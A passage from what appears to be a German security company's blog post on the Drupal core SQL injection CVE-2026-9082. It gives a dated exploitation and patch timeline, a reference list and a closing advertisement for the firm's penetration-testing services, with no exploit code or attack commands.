21.05.2026 — Öffentlicher PoC-Scanner erscheint auf GitHub (ridhinva/CVE-2026-9082); erste Welle opportunistischen Probings bei Hosting-Providern beobachtet.
22.05.2026 — Drupal aktualisiert den Risk-Score von SA-CORE-2026-004, um aktive Ausnutzung in freier Wildbahn widerzuspiegeln. CISA fügt CVE-2026-9082 dem Known Exploited Vulnerabilities-Katalog hinzu mit FCEB-Frist 27.05.2026. Berkeley ISO, Tenable, BleepingComputer, Hacker News, Help Net Security und SecurityAffairs veröffentlichen Writeups.
22./23.05.2026 — Imperva veröffentlicht Telemetriedaten, die 15.000+ Exploit-Versuche gegen ~6.000 Sites in 65 Ländern innerhalb der ersten 48 Stunden zeigen, konzentriert auf Gaming- und Finanzdienstleister-Sektoren. Searchlight Cyber veröffentlicht das vollständige technische Writeup („Keys to the Kingdom”).
26.05.2026 — Patch-Coverage weitet sich auf gemanagten Drupal-Plattformen aus; ungepatchte Long-Tail-Sites bilden den Großteil der Exposition.
27.05.2026 — FCEB-Stichtag unter CISA BOD 22-01.

Resources and References

CVE: CVE-2026-9082
NVD: NVD — CVE-2026-9082
Drupal Advisory: SA-CORE-2026-004 — Drupal core - Highly critical - SQL injection
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command
CISA KEV Catalog: Known Exploited Vulnerabilities
Tenable Analysis: CVE-2026-9082: Critical Drupal Core SQL Injection Vulnerability
Searchlight Cyber Technical Writeup: Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082)

SEKurity Unterstützt Sie

Schwachstellen wie CVE-2026-9082 sind eine Erinnerung daran, dass ein CMS selten eine einzelne Angriffsfläche ist — es ist eine Familie von Oberflächen (Login, REST, JSON:API, GraphQL, File-Uploads, Image-Style-Derivate, Sub-Requests), die über eine Datenbank gelegt wird, deren Zeileninhalte die Schlüssel zum restlichen Inventar des Kunden sind. Anonyme SQL Injection auf der Datenbank bedeutet anonymen Lesezugriff auf Integrationsgeheimnisse, Identity-Provider-Keys, Mail-Credentials und Admin-Sessions — und von dort in die Systeme hinter dem CMS. Wir helfen Organisationen, ihre reale Exposition auf Drupal-Beständen (und CMS-Beständen allgemein) zu messen, zu validieren, dass Patches tatsächlich auf jeder Site, jeder Microsite und jedem „die hatten wir vergessen”-Auftritt ausgerollt sind, und stresszutesten, ob eine CMS-Kompromittierung erkannt würde, bevor sie die Integrationen dahinter erreicht.

Unsere Leistungen

Penetration Testing: Webanwendungen, mobile Apps (Android & iOS), SAP-Systeme, Active Directory
Groß angelegte Angriffe: Perimeter-Tests, IT-Infrastruktur-Tests, Red-Team-Einsätze
Security Awareness: Phishing-Kampagnen, Hacking-Demonstrationen

Handeln Sie jetzt — bevor es Angreifer tun.

Kontakt:

Website: www.sekurity.de

Anfragen: www.sekurity.de/kontakt

LinkedIn: SEKurity GmbH

Ihr SEKurity Team — Your Trusted Adversaries

Die Sicherheit Ihrer Web-Plattformen ist unser Antrieb.

InSEKurity der Woche (KW21/2026): Drupal Core Anonyme SQL Injection (CVE-2026-9082)